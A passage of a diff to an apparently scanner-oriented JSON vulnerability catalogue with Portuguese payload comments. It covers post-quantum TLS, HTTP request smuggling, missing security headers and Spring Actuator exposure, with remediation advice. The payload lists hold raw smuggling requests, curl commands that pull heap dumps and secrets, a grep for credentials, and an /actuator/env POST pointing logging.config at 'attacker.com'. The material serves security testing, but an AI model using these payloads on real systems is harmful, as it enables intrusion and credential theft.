and contextualized: there is no proof-of-concept for quantum key breaking, but there is strategic risk and emerging regulatory requirements (NIST IR 8547, CNSA 2.0, central bank directives).", + "impact": "- Sensitive data captured today may be readable in the future (\"harvest now, decrypt later\").\n- Delayed migration increases cost and disruption risk when classical cryptography is deprecated.\n- Systems with long lifecycles (IoT, firmware, archives, backups, VPN) are most affected.\n- Potential non-compliance with cryptographic agility requirements and sector-specific regulations.\n- No immediate impact on confidentiality or integrity; severity is LOW accordingly.", + "payloads": [ + "# Verificar suporte a grupos híbridos no servidor", + "openssl s_client -connect alvo.com:443 -servername alvo.com -groups X25519MLKEM768 -tls1_3", + "# Listar grupos suportados", + "nmap --script ssl-enum-ciphers -p 443 alvo.com", + "testssl.sh --protocols --groups alvo.com", + "# Verificar a pilha local", + "openssl version -a", + "openssl list -kem-algorithms | grep -i mlkem", + "openssl list -signature-algorithms | grep -i mldsa", + "# Java 27: confirmar algoritmos disponíveis", + "java --list-modules | grep -i crypto", + "- TLS 1.3 habilitado", + "- Grupo X25519MLKEM768 ou SecP256r1MLKEM768 negociado", + "- Biblioteca TLS com suporte a ML-KEM (OpenSSL 3.5+, BoringSSL, AWS-LC)", + "- Certificados/assinaturas com migração planejada para ML-DSA", + "- Inventário de dependências criptográficas e plano de agilidade", + "- VPN/IPsec, SSH, S/MIME e code signing cobertos pelo plano" + ], + "crawlerHints": { + "parameters": [], + "paths": [ + "/health", + "/metrics" + ] + }, + "recommendation": "1. Enable TLS 1.3 and the hybrid group `X25519MLKEM768` (or `SecP256r1MLKEM768`) on TLS terminators, load balancers, CDN, and API gateways.\n2. Update OpenSSL/BoringSSL/AWS-LC and the Java runtime; validate interoperability with clients before making the hybrid group preferred.\n3. Create a cryptographic inventory (algorithms, libraries, certificates, protocols) and a cryptographic agility plan.\n4. Prioritize long-lived data: backups, archives, healthcare, financial, and infrastructure secrets.\n5. Plan migration of signatures to ML-DSA (FIPS 204) and SLH-DSA (FIPS 205) for certificates, firmware, and code signing.\n6. Do not remove classical algorithms prematurely: use hybrid mode during the transition.\n7. Monitor client support and fallback behavior; measure the hybrid negotiation rate before enforcing the group.\n\nExample Nginx/OpenSSL (when supported):\n```nginx\nssl_protocols TLSv1.3 TLSv1.2;\nssl_conf_command Groups X25519MLKEM768:X25519:P-256;\n```\n\nExample Java 27 (JEP 496/497, subject to build availability):\n```java\nKeyPairGenerator kpg = KeyPairGenerator.getInstance(\"ML-KEM\");\nkpg.initialize(MLKEMParameterSpec.ML_KEM_768);\nKeyPair kp = kpg.generateKeyPair();\n```", + "notableCves": [] }, - "recommendation": "1. Enable TLS 1.3 and the hybrid group `X25519MLKEM768` (or `SecP256r1MLKEM768`) on TLS terminators, load balancers, CDN, and API gateways.\n2. Update OpenSSL/BoringSSL/AWS-LC and the Java runtime; validate interoperability with clients before making the hybrid group preferred.\n3. Create a cryptographic inventory (algorithms, libraries, certificates, protocols) and a cryptographic agility plan.\n4. Prioritize long-lived data: backups, archives, healthcare, financial, and infrastructure secrets.\n5. Plan migration of signatures to ML-DSA (FIPS 204) and SLH-DSA (FIPS 205) for certificates, firmware, and code signing.\n6. Do not remove classical algorithms prematurely: use hybrid mode during the transition.\n7. Monitor client support and fallback behavior; measure the hybrid negotiation rate before enforcing the group.\n\nExample Nginx/OpenSSL (when supported):\n```nginx\nssl_protocols TLSv1.3 TLSv1.2;\nssl_conf_command Groups X25519MLKEM768:X25519:P-256;\n```\n\nExample Java 27 (JEP 496/497, subject to build availability):\n```java\nKeyPairGenerator kpg = KeyPairGenerator.getInstance(\"ML-KEM\");\nkpg.initialize(MLKEMParameterSpec.ML_KEM_768);\nKeyPair kp = kpg.generateKeyPair();\n```", - "notableCves": [] - }, - "request_smuggling": { - "title": "HTTP Request Smuggling", - "module": "ReqSmuggling", - "severity": "CRITICAL", - "cweId": "CWE-444", - "cweTitle": "Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')", - "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", - "vrtId": "server_security_misconfiguration.http_request_smuggling", - "summary": "Discrepancies between a front-end proxy and back-end server in how they parse Content-Length and Transfer-Encoding headers allow an attacker to smuggle requests, hijack responses, poison caches, and bypass authentication controls.", - "description": "HTTP request smuggling exploits divergent HTTP parsers. When the front-end (CDN, reverse proxy, or load balancer) and the back-end interpret ambiguous headers differently, part of one request is treated as the beginning of the next. This desynchronization lets an attacker prepend arbitrary content to another user's request or receive their response.\n\nVariants include:\n\n- **CL.TE:** The front-end uses `Content-Length` while the back-end uses `Transfer-Encoding: chunked`.\n- **TE.CL:** The front-end uses `Transfer-Encoding` while the back-end uses `Content-Length`.\n- **TE.TE:** Both honor Transfer-Encoding, but one fails to recognize an obfuscated form while the other parses it.\n- **H2.CL / H2.TE:** HTTP/2-to-HTTP/1.1 downgrade introduces ambiguity when pseudo-headers are translated.\n- **CL.0:** The back-end ignores `Content-Length` entirely and treats the body as the start of the next request.\n- **Response queue poisoning:** The attacker causes the next response in the queue to be delivered to a different user.\n- **Cache poisoning via smuggling:** A smuggled request poisons cached content served to subsequent visitors.\n\nConsequences include authentication bypass, access to internal endpoints, session hijacking, cached XSS, and denial of service.", - "impact": "- Hijacking of other users' requests and responses, leading to session theft and credential capture.\n- Bypass of access controls, WAF rules, and authentication gates.\n- Cache poisoning with attacker-controlled content served to all visitors of the affected path.\n- Unauthorized access to internal and administrative endpoints.\n- Denial of service and queue corruption through desynchronized connection state.\n- Severity: CRITICAL.", - "payloads": [ - "# CL.TE", - "POST / HTTP/1.1", - "Host: alvo.com", - "Content-Length: 13", - "Transfer-Encoding: chunked", - "0", - "SMUGGLED", - "# TE.CL", - "POST / HTTP/1.1", - "Host: alvo.com", - "Content-Length: 3", - "Transfer-Encoding: chunked", - "8", - "SMUGGLED", - "0", - "# TE.TE com ofuscação", - "POST / HTTP/1.1", - "Host: alvo.com", - "Content-Length: 4", - "Transfer-Encoding: chunked", - "Transfer-Encoding: x", - "5c", - "GPOST / HTTP/1.1", - "Content-Type: application/x-www-form-urlencoded", - "Content-Length: 15", - "x=1", - "0", - "Transfer-Encoding: chunked", - "Transfer-Encoding : chunked", - "Transfer-Encoding:\\tchunked", - "Transfer-encoding: chunked", - "Transfer-Encoding: xchunked", - "Transfer-Encoding: chunked, identity", - "Transfer-Encoding: identity, chunked", - "Transfer-Encoding: chunked\\r\\nTransfer-Encoding: x", - "X: X", - "# H2.CL / H2.TE (pseudo-headers)", - ":method: POST", - ":path: /", - ":authority: alvo.com", - "content-length: 0", - "transfer-encoding: chunked", - "0", - "SMUGGLED", - "# CL.0", - "POST / HTTP/1.1", - "Host: alvo.com", - "Content-Length: 34", - "GET /admin HTTP/1.1", - "Host: alvo.com", - "- Prefixos de proxy: /, //, /./, /%2e/", - "- Diferentes versões HTTP/1.0 e HTTP/1.1", - "- Headers duplicados e ordem", - "- Espaços/tabs antes dos dois-pontos", - "- Body com chunk extensions e trailers", - "- Requisições pipelined para detectar fila", - "- Timing e resposta divergente entre front/back", - "# Burp Suite: HTTP Request Smuggler", - "# smuggler.py", - "python3 smuggler.py -u https://alvo.com" - ], - "crawlerHints": { - "parameters": [ - "Content-Length", - "Transfer-Encoding", - "Connection", - "Host", - "X-Forwarded-*" - ], - "paths": [ - "/", - "/login", - "/api/*", - "/graphql", - "/admin" - ] + "request_smuggling": { + "title": "HTTP Request Smuggling", + "module": "ReqSmuggling", + "severity": "CRITICAL", + "cweId": "CWE-444", + "cweTitle": "Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')", + "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", + "vrtId": "server_security_misconfiguration.http_request_smuggling", + "summary": "Discrepancies between a front-end proxy and back-end server in how they parse Content-Length and Transfer-Encoding headers allow an attacker to smuggle requests, hijack responses, poison caches, and bypass authentication controls.", + "description": "HTTP request smuggling exploits divergent HTTP parsers. When the front-end (CDN, reverse proxy, or load balancer) and the back-end interpret ambiguous headers differently, part of one request is treated as the beginning of the next. This desynchronization lets an attacker prepend arbitrary content to another user's request or receive their response.\n\nVariants include:\n\n- **CL.TE:** The front-end uses `Content-Length` while the back-end uses `Transfer-Encoding: chunked`.\n- **TE.CL:** The front-end uses `Transfer-Encoding` while the back-end uses `Content-Length`.\n- **TE.TE:** Both honor Transfer-Encoding, but one fails to recognize an obfuscated form while the other parses it.\n- **H2.CL / H2.TE:** HTTP/2-to-HTTP/1.1 downgrade introduces ambiguity when pseudo-headers are translated.\n- **CL.0:** The back-end ignores `Content-Length` entirely and treats the body as the start of the next request.\n- **Response queue poisoning:** The attacker causes the next response in the queue to be delivered to a different user.\n- **Cache poisoning via smuggling:** A smuggled request poisons cached content served to subsequent visitors.\n\nConsequences include authentication bypass, access to internal endpoints, session hijacking, cached XSS, and denial of service.", + "impact": "- Hijacking of other users' requests and responses, leading to session theft and credential capture.\n- Bypass of access controls, WAF rules, and authentication gates.\n- Cache poisoning with attacker-controlled content served to all visitors of the affected path.\n- Unauthorized access to internal and administrative endpoints.\n- Denial of service and queue corruption through desynchronized connection state.\n- Severity: CRITICAL.", + "payloads": [ + "# CL.TE", + "POST / HTTP/1.1", + "Host: alvo.com", + "Content-Length: 13", + "Transfer-Encoding: chunked", + "0", + "SMUGGLED", + "# TE.CL", + "POST / HTTP/1.1", + "Host: alvo.com", + "Content-Length: 3", + "Transfer-Encoding: chunked", + "8", + "SMUGGLED", + "0", + "# TE.TE com ofuscação", + "POST / HTTP/1.1", + "Host: alvo.com", + "Content-Length: 4", + "Transfer-Encoding: chunked", + "Transfer-Encoding: x", + "5c", + "GPOST / HTTP/1.1", + "Content-Type: application/x-www-form-urlencoded", + "Content-Length: 15", + "x=1", + "0", + "Transfer-Encoding: chunked", + "Transfer-Encoding : chunked", + "Transfer-Encoding:\\tchunked", + "Transfer-encoding: chunked", + "Transfer-Encoding: xchunked", + "Transfer-Encoding: chunked, identity", + "Transfer-Encoding: identity, chunked", + "Transfer-Encoding: chunked\\r\\nTransfer-Encoding: x", + "X: X", + "# H2.CL / H2.TE (pseudo-headers)", + ":method: POST", + ":path: /", + ":authority: alvo.com", + "content-length: 0", + "transfer-encoding: chunked", + "0", + "SMUGGLED", + "# CL.0", + "POST / HTTP/1.1", + "Host: alvo.com", + "Content-Length: 34", + "GET /admin HTTP/1.1", + "Host: alvo.com", + "- Prefixos de proxy: /, //, /./, /%2e/", + "- Diferentes versões HTTP/1.0 e HTTP/1.1", + "- Headers duplicados e ordem", + "- Espaços/tabs antes dos dois-pontos", + "- Body com chunk extensions e trailers", + "- Requisições pipelined para detectar fila", + "- Timing e resposta divergente entre front/back", + "# Burp Suite: HTTP Request Smuggler", + "# smuggler.py", + "python3 smuggler.py -u https://alvo.com" + ], + "crawlerHints": { + "parameters": [ + "Content-Length", + "Transfer-Encoding", + "Connection", + "Host", + "X-Forwarded-*" + ], + "paths": [ + "/", + "/login", + "/api/*", + "/graphql", + "/admin" + ] + }, + "recommendation": "1. Use HTTP/2 end-to-end and reject ambiguous downgrades; if H2-to-H1 translation is necessary, normalize headers strictly.\n2. Reject requests that contain both `Content-Length` and `Transfer-Encoding`, or that include duplicate or obfuscated TE headers.\n3. Configure the front-end proxy and back-end server to use the same HTTP parser and version; never rely on divergent libraries.\n4. Disable connection reuse between different users when in doubt; use isolated per-request connections.\n5. Apply size limits, timeouts, and chunk count limits; reject unknown chunk extensions.\n6. Update CDN, reverse proxy, web server, and framework — many smuggling variants are patched in recent releases.\n7. Block anomalous methods and headers at the WAF as a defense-in-depth measure, without depending on it.\n8. Monitor for 400/501 responses, abnormal queues, and requests with obfuscated TE; alert on spikes.\n9. Example Nginx configuration:\n```nginx\n# Reject TE + CL and duplicate TE\nif ($http_transfer_encoding ~* \"chunked\") { set $te 1; }\nif ($http_content_length != \"\") { set $cl 1; }\nif ($te$cl = \"11\") { return 400; }\n```\n10. Validate the fix with regression tests using Burp Smuggler and queue monitoring.", + "notableCves": [] }, - "recommendation": "1. Use HTTP/2 end-to-end and reject ambiguous downgrades; if H2-to-H1 translation is necessary, normalize headers strictly.\n2. Reject requests that contain both `Content-Length` and `Transfer-Encoding`, or that include duplicate or obfuscated TE headers.\n3. Configure the front-end proxy and back-end server to use the same HTTP parser and version; never rely on divergent libraries.\n4. Disable connection reuse between different users when in doubt; use isolated per-request connections.\n5. Apply size limits, timeouts, and chunk count limits; reject unknown chunk extensions.\n6. Update CDN, reverse proxy, web server, and framework — many smuggling variants are patched in recent releases.\n7. Block anomalous methods and headers at the WAF as a defense-in-depth measure, without depending on it.\n8. Monitor for 400/501 responses, abnormal queues, and requests with obfuscated TE; alert on spikes.\n9. Example Nginx configuration:\n```nginx\n# Reject TE + CL and duplicate TE\nif ($http_transfer_encoding ~* \"chunked\") { set $te 1; }\nif ($http_content_length != \"\") { set $cl 1; }\nif ($te$cl = \"11\") { return 400; }\n```\n10. Validate the fix with regression tests using Burp Smuggler and queue monitoring.", - "notableCves": [] - }, - "security_headers_missing": { - "title": "Missing Security Headers", - "module": "Headers", - "severity": "MEDIUM", - "cweId": "CWE-693", - "cweTitle": "Protection Mechanism Failure", - "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", - "vrtId": "server_security_misconfiguration.missing_security_headers", - "summary": "Missing or misconfigured security headers (CSP, HSTS, X-Content-Type-Options, frame protection, Referrer-Policy) remove defense-in-depth layers, increasing the exploitability and impact of injection, clickjacking, and data leakage vulnerabilities.", - "description": "Security headers do not fix vulnerabilities on their own, but they significantly reduce the attack surface and limit the blast radius of code-level flaws. The key headers are:\n\n- `Content-Security-Policy` (CSP): Restricts the origins allowed for scripts, styles, images, frames, and connections. A missing or permissive CSP (`unsafe-inline`, `unsafe-eval`, `*`, `data:`, `http:`) enables execution of injected JavaScript.\n- `Strict-Transport-Security` (HSTS): Forces HTTPS and blocks protocol downgrade and SSL stripping attacks.\n- `X-Content-Type-Options: nosniff`: Prevents MIME sniffing that can turn an uploaded file into executable HTML/JS.\n- `X-Frame-Options` or CSP `frame-ancestors`: Prevents clickjacking and malicious framing of authenticated pages.\n- `Referrer-Policy`: Prevents leakage of tokens and sensitive paths via the `Referer` header.\n- `Permissions-Policy`: Restricts access to sensitive browser APIs such as camera, microphone, and geolocation.\n- `Cross-Origin-Opener-Policy`, `Cross-Origin-Resource-Policy`, and `Cross-Origin-Embedder-Policy`: Isolate browsing contexts and prevent cross-origin data leakage.\n\nIn bug bounty programs, missing headers alone are typically rated LOW/INFO. The finding escalates to MEDIUM or HIGH when there is a viable CSP bypass, an authenticated page is frameable with a sensitive action, an upload endpoint serves content with MIME sniffing, or HSTS is absent on the login flow.", - "impact": "- Facilitates exploitation of XSS, clickjacking, CSRF, and token leakage via the Referer header.\n- Allows malicious content to be interpreted as executable script through MIME sniffing.\n- Exposes users to protocol downgrade to HTTP and traffic interception on hostile networks.\n- Increases the blast radius of any future injection vulnerability; undermines defense-in-depth.\n- May result in non-compliance with security baselines (OWASP ASVS, PCI DSS, CIS Benchmarks).", - "payloads": [ - "# Inspeção de cabeçalhos", - "curl -sI https://alvo.com/ | grep -iE 'content-security-policy|strict-transport-security|x-content-type-options|x-frame-options|referrer-policy|permissions-policy|cross-origin'", - "# Teste de framing", - "curl -sI https://alvo.com/ | grep -i 'x-frame-options'", - "# Em HTML: ", - "# Teste de sniffing em upload", - "curl -s -X POST https://alvo.com/upload -F 'file=@payload.html;type=text/plain'", - "", - "", - "", - "", - "", - "Content-Security-Policy: default-src *; script-src * 'unsafe-inline' 'unsafe-eval'", - "Content-Security-Policy: script-src 'self' https: data: blob:", - "Content-Security-Policy: script-src 'self' *.googleapis.com *.cloudflare.com", - "Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'", - "Content-Security-Policy-Report-Only: ... # não bloqueia, apenas reporta", - "- JSONP endpoint confiável no allowlist: /api/jsonp?callback=alert", - "- Angular/Vue gadget com expressão avaliada", - "- base-uri ausente + ", - "- object-src ausente + plugin legado", - "- script-src 'self' com upload de JS same-origin", - "- HSTS ausente em HTTP antes do redirect 301" - ], - "crawlerHints": { - "parameters": [], - "paths": [ - "/", - "/login", - "/account", - "/admin", - "/checkout", - "/upload", - "/api/*", - "/graphql" - ] + "security_headers_missing": { + "title": "Missing Security Headers", + "module": "Headers", + "severity": "MEDIUM", + "cweId": "CWE-693", + "cweTitle": "Protection Mechanism Failure", + "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", + "vrtId": "server_security_misconfiguration.missing_security_headers", + "summary": "Missing or misconfigured security headers (CSP, HSTS, X-Content-Type-Options, frame protection, Referrer-Policy) remove defense-in-depth layers, increasing the exploitability and impact of injection, clickjacking, and data leakage vulnerabilities.", + "description": "Security headers do not fix vulnerabilities on their own, but they significantly reduce the attack surface and limit the blast radius of code-level flaws. The key headers are:\n\n- `Content-Security-Policy` (CSP): Restricts the origins allowed for scripts, styles, images, frames, and connections. A missing or permissive CSP (`unsafe-inline`, `unsafe-eval`, `*`, `data:`, `http:`) enables execution of injected JavaScript.\n- `Strict-Transport-Security` (HSTS): Forces HTTPS and blocks protocol downgrade and SSL stripping attacks.\n- `X-Content-Type-Options: nosniff`: Prevents MIME sniffing that can turn an uploaded file into executable HTML/JS.\n- `X-Frame-Options` or CSP `frame-ancestors`: Prevents clickjacking and malicious framing of authenticated pages.\n- `Referrer-Policy`: Prevents leakage of tokens and sensitive paths via the `Referer` header.\n- `Permissions-Policy`: Restricts access to sensitive browser APIs such as camera, microphone, and geolocation.\n- `Cross-Origin-Opener-Policy`, `Cross-Origin-Resource-Policy`, and `Cross-Origin-Embedder-Policy`: Isolate browsing contexts and prevent cross-origin data leakage.\n\nIn bug bounty programs, missing headers alone are typically rated LOW/INFO. The finding escalates to MEDIUM or HIGH when there is a viable CSP bypass, an authenticated page is frameable with a sensitive action, an upload endpoint serves content with MIME sniffing, or HSTS is absent on the login flow.", + "impact": "- Facilitates exploitation of XSS, clickjacking, CSRF, and token leakage via the Referer header.\n- Allows malicious content to be interpreted as executable script through MIME sniffing.\n- Exposes users to protocol downgrade to HTTP and traffic interception on hostile networks.\n- Increases the blast radius of any future injection vulnerability; undermines defense-in-depth.\n- May result in non-compliance with security baselines (OWASP ASVS, PCI DSS, CIS Benchmarks).", + "payloads": [ + "# Inspeção de cabeçalhos", + "curl -sI https://alvo.com/ | grep -iE 'content-security-policy|strict-transport-security|x-content-type-options|x-frame-options|referrer-policy|permissions-policy|cross-origin'", + "# Teste de framing", + "curl -sI https://alvo.com/ | grep -i 'x-frame-options'", + "# Em HTML: ", + "# Teste de sniffing em upload", + "curl -s -X POST https://alvo.com/upload -F 'file=@payload.html;type=text/plain'", + "", + "", + "", + "", + "", + "Content-Security-Policy: default-src *; script-src * 'unsafe-inline' 'unsafe-eval'", + "Content-Security-Policy: script-src 'self' https: data: blob:", + "Content-Security-Policy: script-src 'self' *.googleapis.com *.cloudflare.com", + "Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'", + "Content-Security-Policy-Report-Only: ... # não bloqueia, apenas reporta", + "- JSONP endpoint confiável no allowlist: /api/jsonp?callback=alert", + "- Angular/Vue gadget com expressão avaliada", + "- base-uri ausente + ", + "- object-src ausente + plugin legado", + "- script-src 'self' com upload de JS same-origin", + "- HSTS ausente em HTTP antes do redirect 301" + ], + "crawlerHints": { + "parameters": [], + "paths": [ + "/", + "/login", + "/account", + "/admin", + "/checkout", + "/upload", + "/api/*", + "/graphql" + ] + }, + "recommendation": "1. Define a restrictive CSP based on nonces or hashes, without `unsafe-inline` or `unsafe-eval` in production. Example:\n```nginx\nadd_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'nonce-$request_id'; style-src 'self' 'nonce-$request_id'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; object-src 'none'\" always;\n```\n2. Apply HSTS on all HTTPS responses: `max-age=31536000; includeSubDomains; preload`.\n3. Send `X-Content-Type-Options: nosniff` and a correct `Content-Type` on all uploads; force `Content-Disposition: attachment` for untrusted files.\n4. Use `frame-ancestors 'none'` (CSP) and `X-Frame-Options: DENY` as a fallback.\n5. Set `Referrer-Policy: strict-origin-when-cross-origin` or `no-referrer` on flows that include tokens in the URL.\n6. Restrict sensitive browser APIs with `Permissions-Policy` and isolate origins with COOP/CORP/COEP where applicable.\n7. Apply headers framework-wide, not just on individual routes. In Spring Security:\n```java\nhttp.headers(headers -> headers\n .contentSecurityPolicy(csp -> csp.policyDirectives(\n \"default-src 'self'; script-src 'self' 'nonce-{nonce}'; frame-ancestors 'none'; object-src 'none'\"))\n .httpStrictTransportSecurity(hsts -> hsts\n .includeSubDomains(true).maxAgeInSeconds(31536000).preload(true))\n .contentTypeOptions(Customizer.withDefaults())\n .frameOptions(frame -> frame.deny())\n .referrerPolicy(referrer -> referrer.policy(ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN)));\n```\n8. Validate header policies in CI with automated header tests and review allowlists periodically.", + "notableCves": [] }, - "recommendation": "1. Define a restrictive CSP based on nonces or hashes, without `unsafe-inline` or `unsafe-eval` in production. Example:\n```nginx\nadd_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'nonce-$request_id'; style-src 'self' 'nonce-$request_id'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; object-src 'none'\" always;\n```\n2. Apply HSTS on all HTTPS responses: `max-age=31536000; includeSubDomains; preload`.\n3. Send `X-Content-Type-Options: nosniff` and a correct `Content-Type` on all uploads; force `Content-Disposition: attachment` for untrusted files.\n4. Use `frame-ancestors 'none'` (CSP) and `X-Frame-Options: DENY` as a fallback.\n5. Set `Referrer-Policy: strict-origin-when-cross-origin` or `no-referrer` on flows that include tokens in the URL.\n6. Restrict sensitive browser APIs with `Permissions-Policy` and isolate origins with COOP/CORP/COEP where applicable.\n7. Apply headers framework-wide, not just on individual routes. In Spring Security:\n```java\nhttp.headers(headers -> headers\n .contentSecurityPolicy(csp -> csp.policyDirectives(\n \"default-src 'self'; script-src 'self' 'nonce-{nonce}'; frame-ancestors 'none'; object-src 'none'\"))\n .httpStrictTransportSecurity(hsts -> hsts\n .includeSubDomains(true).maxAgeInSeconds(31536000).preload(true))\n .contentTypeOptions(Customizer.withDefaults())\n .frameOptions(frame -> frame.deny())\n .referrerPolicy(referrer -> referrer.policy(ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN)));\n```\n8. Validate header policies in CI with automated header tests and review allowlists periodically.", - "notableCves": [] - }, - "spring_actuator_exposure": { - "title": "Spring Boot Actuator Exposure", - "module": "Actuator", - "severity": "HIGH", - "cweId": "CWE-200", - "cweTitle": "Exposure of Sensitive Information to an Unauthorized Actor", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", - "vrtId": "server_security_misconfiguration.sensitive_data_exposure", - "summary": "Unauthenticated Spring Boot Actuator endpoints expose application configuration, environment variables, route mappings, bean definitions, and heap dumps, potentially leading to credential theft and remote code execution.", - "description": "Spring Boot Actuator provides operational endpoints for monitoring and management. When `management.endpoints.web.exposure.include=*` is configured or individual endpoints are exposed publicly without security, an attacker can access:\n\n- `/actuator/env`: Application properties and environment variables, often containing secrets.\n- `/actuator/heapdump`: JVM heap dump containing passwords, tokens, and cryptographic keys in cleartext.\n- `/actuator/mappings`: Internal route mappings and API version information.\n- `/actuator/beans`: Full bean graph and configuration details.\n- `/actuator/httptrace` or `/httpexchanges`: Recent HTTP requests and headers.\n- `/actuator/loggers`: Runtime log level modification.\n- `/actuator/threaddump`, `/actuator/metrics`, `/actuator/health`: Operational data.\n- `/actuator/jolokia`: JMX bridge that can lead to RCE.\n- `/actuator/gateway/routes`, `/actuator/refresh`, `/actuator/restart`: Gateway and lifecycle control.\n\nIn older versions, the `/env` endpoint allows property overwriting (e.g., `logging.config`) which can achieve RCE. The `/heapdump` endpoint is one of the most valuable findings in bug bounty because it exposes secrets in cleartext memory.", - "impact": "- Leakage of database credentials, API keys, tokens, and cloud secrets.\n- Remote code execution via Jolokia, `/env` property overwrite, or `/refresh` in vulnerable configurations.\n- Internal mapping and discovery of administrative endpoints.\n- Runtime configuration modification (loggers, routes, feature flags).\n- Severity: HIGH; escalates to CRITICAL when heap dump contains credentials or RCE is achievable.", - "payloads": [ - "# Descoberta", - "curl -s https://alvo.com/actuator", - "curl -s https://alvo.com/actuator/health", - "curl -s https://alvo.com/actuator/env", - "curl -s https://alvo.com/actuator/heapdump -o heapdump.hprof", - "curl -s https://alvo.com/actuator/mappings", - "curl -s https://alvo.com/actuator/beans", - "curl -s https://alvo.com/actuator/httptrace", - "curl -s https://alvo.com/actuator/threaddump", - "# Caminhos legados (Spring Boot 1.x)", - "curl -s https://alvo.com/env", - "curl -s https://alvo.com/heapdump", - "curl -s https://alvo.com/mappings", - "curl -s https://alvo.com/beans", - "curl -s https://alvo.com/trace", - "curl -s https://alvo.com/dump", - "# Variações de prefixo / base path", - "/actuator/", - "/management/actuator/", - "/api/actuator/", - "/internal/actuator/", - "/actuator;.js", - "# Jolokia", - "curl -s https://alvo.com/actuator/jolokia/list", - "curl -s https://alvo.com/actuator/jolokia/exec/java.lang:type=Runtime/getSystemProperties", - "# Heap dump: extrair strings", - "strings heapdump.hprof | grep -iE 'password|secret|token|aws_|jdbc:|api[_-]?key'", - "POST /actuator/env", - "Content-Type: application/json", - "{\"name\":\"logging.config\",\"value\":\"http://attacker.com/logback.xml\"}", - "", - " ", - "", - "- Prefixos alternativos e case: /Actuator, /actuator/", - "- Extensões: /actuator/env.json, /actuator/env;.js", - "- Path traversal: /actuator/../actuator/env", - "- Header X-Forwarded-Prefix: /actuator", - "- Vhosts internos e portas de management (8081, 9090)", - "- Acesso via proxy reverso que não bloqueia /actuator" - ], - "crawlerHints": { - "parameters": [ - "name", - "value", - "endpoint", - "X-Forwarded-Prefix" - ], - "paths": [ - "/actuator", - "/actuator/env", - "/actuator/heapdump", - "/actuator/mappings", - "/actuator/beans", - "/actuator/httptrace", - "/actuator/loggers", - "/actuator/threaddump", - "/actuator/jolokia", - "/env", - "/heapdump", - "/mappings", - "/beans", - "/trace" - ] + "spring_actuator_exposure": { + "title": "Spring Boot Actuator Exposure", + "module": "Actuator", + "severity": "HIGH", + "cweId": "CWE-200", + "cweTitle": "Exposure of Sensitive Information to an Unauthorized Actor", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", + "vrtId": "server_security_misconfiguration.sensitive_data_exposure", + "summary": "Unauthenticated Spring Boot Actuator endpoints expose application configuration, environment variables, route mappings, bean definitions, and heap dumps, potentially leading to credential theft and remote code execution.", + "description": "Spring Boot Actuator provides operational endpoints for monitoring and management. When `management.endpoints.web.exposure.include=*` is configured or individual endpoints are exposed publicly without security, an attacker can access:\n\n- `/actuator/env`: Application properties and environment variables, often containing secrets.\n- `/actuator/heapdump`: JVM heap dump containing passwords, tokens, and cryptographic keys in cleartext.\n- `/actuator/mappings`: Internal route mappings and API version information.\n- `/actuator/beans`: Full bean graph and configuration details.\n- `/actuator/httptrace` or `/httpexchanges`: Recent HTTP requests and headers.\n- `/actuator/loggers`: Runtime log level modification.\n- `/actuator/threaddump`, `/actuator/metrics`, `/actuator/health`: Operational data.\n- `/actuator/jolokia`: JMX bridge that can lead to RCE.\n- `/actuator/gateway/routes`, `/actuator/refresh`, `/actuator/restart`: Gateway and lifecycle control.\n\nIn older versions, the `/env` endpoint allows property overwriting (e.g., `logging.config`) which can achieve RCE. The `/heapdump` endpoint is one of the most valuable findings in bug bounty because it exposes secrets in cleartext memory.", + "impact": "- Leakage of database credentials, API keys, tokens, and cloud secrets.\n- Remote code execution via Jolokia, `/env` property overwrite, or `/refresh` in vulnerable configurations.\n- Internal mapping and discovery of administrative endpoints.\n- Runtime configuration modification (loggers, routes, feature flags).\n- Severity: HIGH; escalates to CRITICAL when heap dump contains credentials or RCE is achievable.", + "payloads": [ + "# Descoberta", + "curl -s https://alvo.com/actuator", + "curl -s https://alvo.com/actuator/health", + "curl -s https://alvo.com/actuator/env", + "curl -s https://alvo.com/actuator/heapdump -o heapdump.hprof", + "curl -s https://alvo.com/actuator/mappings", + "curl -s https://alvo.com/actuator/beans", + "curl -s https://alvo.com/actuator/httptrace", + "curl -s https://alvo.com/actuator/threaddump", + "# Caminhos legados (Spring Boot 1.x)", + "curl -s https://alvo.com/env", + "curl -s https://alvo.com/heapdump", + "curl -s https://alvo.com/mappings", + "curl -s https://alvo.com/beans", + "curl -s https://alvo.com/trace", + "curl -s https://alvo.com/dump", + "# Variações de prefixo / base path", + "/actuator/", + "/management/actuator/", + "/api/actuator/", + "/internal/actuator/", + "/actuator;.js", + "# Jolokia", + "curl -s https://alvo.com/actuator/jolokia/list", + "curl -s https://alvo.com/actuator/jolokia/exec/java.lang:type=Runtime/getSystemProperties", + "# Heap dump: extrair strings", + "strings heapdump.hprof | grep -iE 'password|secret|token|aws_|jdbc:|api[_-]?key'", + "POST /actuator/env", + "Content-Type: application/json", + "{\"name\":\"logging.config\",\"value\":\"http://attacker.com/logback.xml\"}", + "", + " ", + "", + "- Prefixos alternativos e case: /Actuator, /actuator/", + "- Extensões: /actuator/env.json, /actuator/env;.js", + "- Path traversal: /actuator/../actuator/env", + "- Header X-Forwarded-Prefix: /actuator", + "- Vhosts internos e portas de management (8081, 9090)", + "- Acesso via proxy reverso que não bloqueia /actuator" + ], + "crawlerHints": { + "parameters": [ + "name", + "value", + "endpoint", + "X-Forwarded-Prefix" + ], + "paths": [ + "/actuator", + "/actuator/env", + "/actuator/heapdump", + "/actuator/mappings", + "/actuator/beans", + "/actuator/httptrace", + 